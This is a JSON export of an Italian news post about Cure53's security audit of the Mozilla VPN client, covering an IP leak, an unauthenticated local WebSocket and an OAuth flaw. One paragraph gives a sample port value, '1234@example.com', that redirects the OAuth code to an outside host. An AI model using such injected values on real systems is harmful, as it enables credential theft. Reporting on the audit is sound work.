{"id":101183,"date":"2021-09-03T10:22:53","date_gmt":"2021-09-03T08:22:53","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/opublikovany-rezultaty-audita-vpn-klienta-mozilla"},"modified":"2021-09-03T10:22:53","modified_gmt":"2021-09-03T08:22:53","slug":"opublikovany-rezultaty-audita-vpn-klienta-mozilla","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","title":{"rendered":"Pubblicati i risultati dell'audit del client VPN di Mozilla","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Mozilla ha annunciato il completamento di un audit indipendente del software client per la connessione al servizio Mozilla VPN. L'audit ha analizzato un'applicazione client separata, sviluppata con l'uso della libreria Qt e fornita per Linux, macOS, Windows, Android e iOS. Il servizio Mozilla VPN \u00e8 supportato da oltre 400 server del fornitore di VPN svedese Mullvad, collocati in pi\u00f9 di 30 paesi. La connessione al <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/it\/vpn\/\"   title=\"VPN\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"113\">VPN<\/a>-servizio avviene tramite il protocollo WireGuard.    <\/p>\n<p>L'audit \u00e8 stato effettuato dalla Cure53, che in passato ha condotto audit sui progetti NTPsec, SecureDrop, Cryptocat, F-Droid e Dovecot. L'audit ha coinvolto il controllo dei codici sorgente e ha incluso test per identificare potenziali vulnerabilit\u00e0 (le questioni relative alla crittografia non sono state considerate). Durante il controllo sono stati individuati 16 problemi di sicurezza, di cui 8 classificati come raccomandazioni, 5 con un livello di pericolo basso, 2 con un livello medio e 1 con un livello alto.     <\/p>\n<p>Solo un problema classificato a rischio medio \u00e8 stato considerato una vulnerabilit\u00e0, poich\u00e9 solo questo era exploitabile. Il problema segnalato portava alla fuga di informazioni sull'uso della VPN nel codice destinato a determinare un captive portal a causa dell'invio di richieste dirette non crittografate tramite HTTP, inviate al di fuori del tunnel VPN e rivelando l'indirizzo IP principale dell'utente nel caso in cui un attaccante potesse controllare il traffico di transito. Il problema \u00e8 risolvibile disattivando la modalit\u00e0 di rilevamento del captive portal nelle impostazioni.    <\/p>\n<p>Il secondo problema di livello medio di gravit&agrave; &egrave; legato all&#039;assenza di una corretta pulizia dei valori non numerici nel numero di porta, il che consente di causare una perdita dei parametri di autenticazione OAuth attraverso la sostituzione del numero di porta con una stringa del tipo &quot;1234@example.com&quot;, che porter&agrave; all&#039;installazione di un tag &lt;img src=&quot;&raquo;http:\/\/127.0.0.1:1234@example.com\/?code=&hellip;&raquo;&quot; alt=&quot;&raquo;&raquo;&quot;&gt;, che si rivolge a example.com anzich&eacute; a 127.0.0.1.    <\/p>\n<p>Il terzo problema, contrassegnato come pericoloso, consente a qualsiasi applicazione locale di accedere al client VPN tramite WebSocket, legato a localhost, senza autenticazione. Come esempio \u00e8 stato mostrato come, con il client VPN attivo, qualsiasi sito potesse organizzare la creazione e l'invio di uno screenshot tramite la generazione dell'evento screen_capture. Tuttavia, il problema non \u00e8 stato classificato come una vulnerabilit\u00e0 perch\u00e9 il WebSocket \u00e8 stato utilizzato solo in build di test interne e l'uso di questo canale di comunicazione era solo previsto in futuro per consentire l'interazione con un'estensione per il browser.<br \/>\n<br \/>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=55730\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN. \u0412 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u044b\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0431\u043e\u0441\u043e\u0431\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Qt \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f Linux, macOS, Windows, Android \u0438 iOS. \u0420\u0430\u0431\u043e\u0442\u0443 Mozilla VPN \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0448\u0432\u0435\u0434\u0441\u043a\u043e\u0433\u043e VPN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 Mullvad, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0445 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 30 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-101183","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla 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